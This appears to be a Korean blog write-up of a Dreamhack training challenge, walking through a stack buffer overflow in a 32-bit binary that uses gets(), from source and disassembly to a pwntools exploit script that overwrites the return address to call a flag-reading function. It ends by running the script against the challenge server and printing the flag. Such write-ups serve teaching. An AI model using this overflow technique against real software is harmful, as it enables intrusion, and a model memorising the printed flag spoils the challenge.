[dreamhack][writeup] System-stage5: basic_exploitation_001

mj·2023년 4월 1일
0
post-thumbnail

문제 파일 확인

파일 형식 확인

$ file basic_exploitation_001
basic_exploitation_001: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3e59f379d1f0653db81908d1d3a5eb9dce83816f, not stripped

주어진 파일은 32bit ELF 파일이다.

파일 소스코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}

main 함수에서는 buf 에 0x80 만큼의 크기를 할당하고 있으며, gets() 함수를 통해서 해당 버퍼에 입력값을 입력받고 있다.

main 함수 위쪽에는 flag 내용을 출력하는 read_flag 함수가 있다.

메모리 보호 기법 확인

NX 보호 기법이 적용되어 있다. 즉 스택에서 명령어를 실행 시킬 수 없다.

시나리오

시나리오 작성

gets() 함수의 스택 버퍼 오버플로우 취약점을 이용하여 return address 의 값을 read_flag 함수로 덮어씌우면 된다.

필요한 정보

buf와 return address 사이의 바이트 값이 필요하다.

필요한 정보 수집

Dump of assembler code for function main:
   0x080485cc <+0>:     push   ebp
   0x080485cd <+1>:     mov    ebp,esp
   0x080485cf <+3>:     add    esp,0xffffff80
   0x080485d2 <+6>:     call   0x8048572 <initialize>
   0x080485d7 <+11>:    lea    eax,[ebp-0x80]
   0x080485da <+14>:    push   eax
   0x080485db <+15>:    call   0x80483d0 <gets@plt>
   0x080485e0 <+20>:    add    esp,0x4
   0x080485e3 <+23>:    mov    eax,0x0
   0x080485e8 <+28>:    leave
   0x080485e9 <+29>:    ret
End of assembler dump.

gets() 함수 부근을 보면 스택에 ebp-0x80 값을 넣는 것을 볼 수 있다. 즉 buf 의 주소는 ebp-0x80 이다.
return address 의 주소는 ebp+0x4 이므로 buf 와 return address 사이의 바이트 수는 0x84 이다.

페이로드

페이로드 작성

from pwn import *

p = process("./basic_exploitation_001")
e = ELF("./basic_exploitation_001")

read_flag = e.symbols["read_flag"]

payload = b''
payload += b"\x90"*0x84
payload += p32(read_flag)

p.sendline(payload)
p.interactive()
p.close()

로컬 공격

$ echo "TEST{this_is_flag}" > flag
$ python3 payload_.py

공격

접속 정보 확인

페이로드 수정

from pwn import *

#p = process("./basic_exploitation_001")
p = remote("host3.dreamhack.games", 21411)
e = ELF("./basic_exploitation_001")

read_flag = e.symbols["read_flag"]

payload = b''
payload += b"\x90"*0x84
payload += p32(read_flag)

p.sendline(payload)
p.interactive()
p.close()

공격

  • flag: DH{01ec06f5e1466e44f86a79444a7cd116}
profile
사는게 쉽지가 않네요

0개의 댓글